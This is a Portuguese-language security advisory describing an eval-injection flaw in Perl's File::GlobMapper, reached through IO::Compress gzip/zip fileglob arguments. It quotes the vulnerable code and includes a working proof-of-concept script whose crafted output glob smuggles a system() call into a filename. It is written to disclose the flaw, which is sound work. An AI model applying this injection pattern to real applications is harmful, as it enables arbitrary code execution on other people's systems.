
CVE-2026-48962 - IO::Compress - Code Execution
Uma vulnerabilidade de injeção de eval em File::GlobMapper::_getFiles() permite que qualquer atacante que consiga controlar o argumento de fileglob de saída passado para IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() ou qualquer função similar execute código Perl arbitrário no contexto do processo em execução. Nenhuma autenticação é necessária. O impacto é total: confidencialidade, integridade e disponibilidade do processo hospedeiro são completamente comprometidos.
File::GlobMapper::_parseOutputGlob() constrói um modelo de nome de arquivo de saída envolvendo o padrão de saída fornecido pelo chamador em aspas duplas do Perl e armazenando o resultado. _getFiles() então passa essa string diretamente para eval sem qualquer sanitização:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper é invocado automaticamente sempre que ambos os argumentos de entrada e saída de uma função IO::Compress::* / IO::Uncompress::* são strings fileglob (delimitadas por < >). Esta é uma convenção de chamada documentada e comum. As funções afetadas incluem gzip, zip, bzip2, deflate, rawdeflate e todas as contrapartes IO::Uncompress::*.
Qualquer caractere que feche a string Perl entre aspas duplas circundantes — uma aspa literal ", uma crase, ${...} ou @{...} — seguido de código Perl arbitrário é executado literalmente.
Salve como poc.pl e execute com perl poc.pl:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
Saída esperada:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
Confirmado em IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
Esta é uma vulnerabilidade de execução remota de código. Qualquer aplicação web, serviço de API, ferramenta CLI ou pipeline de processamento em lote que aceite entrada do usuário e a passe como argumento de fileglob de saída para qualquer função IO::Compress::* está vulnerável. O código injetado é executado com todos os privilégios do processo chamador.
Quem é impactado: Desenvolvedores e operadores de aplicações Perl que utilizam funções IO::Compress::* com a convenção de chamada fileglob e onde o padrão de saída é derivado de entrada não confiável – como modelos de nomes de arquivo de formulários web, parâmetros de API REST, argumentos de CLI ou arquivos de configuração controlados por usuários não privilegiados.
Em contextos setuid ou de daemon privilegiado, a exploração resulta em execução de código no nível de privilégio elevado. O bug está presente desde o lançamento inicial do File::GlobMapper (≈ 2005) e está presente em todas as distribuições Linux que incluem o pacote perl.